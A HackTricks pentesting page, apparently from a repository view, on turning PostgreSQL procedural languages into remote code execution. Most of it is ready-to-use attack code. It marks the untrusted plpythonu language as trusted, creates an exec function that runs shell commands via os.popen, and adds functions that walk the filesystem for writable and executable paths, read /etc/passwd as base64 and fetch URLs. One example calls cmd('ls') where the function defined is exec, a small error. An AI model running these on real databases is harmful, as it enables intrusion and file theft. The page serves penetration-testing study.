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hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
Carlos Polop a268747dc2 A
2024-02-09 08:14:36 +01:00

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RCE with PostgreSQL Languages

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PostgreSQL Languages

The PostgreSQL database you got access to may have different scripting languages installed that you could abuse to execute arbitrary code.

You can get them running:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (any other programming language using an insecure version)

{% hint style="warning" %} If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

{% endhint %}

{% hint style="danger" %} If you don't see a language, you could try to load it with (you need to be superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

{% endhint %}

Note that it's possible to compile the secure versions as "unsecure". Check this for example. So it's always worth trying if you can execute code even if you only find installed the trusted one.

plpythonu/plpython3u

{% tabs %} {% tab title="RCE" %}

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.popen(cmd).read()
    #return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

{% endtab %}

{% tab title="Get OS user" %}

CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless

{% endtab %}

{% tab title="List dir" %}

CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import json
    from os import walk
    files = next(walk(dir), (None, None, []))
    return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir

{% endtab %}

{% tab title="Find W folder" %}

CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        writables = []
        def find_writable(path):
            if not os.path.isdir(path):
                return
            if os.access(path, os.W_OK):
                writables.append(path)
            if not os.listdir(path):
                return
            else:
                for item in os.listdir(path):
                    find_writable(os.path.join(path, item))
        find_writable(path)
        return writables
    
    return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)

{% endtab %}

{% tab title="Find File" %}

CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path):
                executables.append(path)
            
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    
    a = my_find("/")
    b = []

    for i in a:
        if exe_sea in os.path.basename(i):
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file

{% endtab %}

{% tab title="Find executables" %}

CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)
            
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    
    a = my_find(dir)
    b = []

    for i in a:
        b.append(os.path.basename(i))
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)

{% endtab %}

{% tab title="Find exec by subs" %}

CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)
            
            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables
    
    a = my_find("/")
    b = []

    for i in a:
        if exe_sea in i:
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring

{% endtab %}

{% tab title="Read" %}

CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
    import base64
    encoded_string= base64.b64encode(open(path).read())
    return encoded_string.decode('utf-8')
    return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64

{% endtab %}

{% tab title="Get perms" %}

CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    status = os.stat(path)
    perms = oct(status.st_mode)[-3:]
    return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file

{% endtab %}

{% tab title="Request" %}

CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
    import urllib
    r = urllib.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
    from urllib import request
    r = request.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

{% endtab %} {% endtabs %}

pgSQL

Check the following page:

{% content-ref url="pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

C

Check the following page:

{% content-ref url="rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!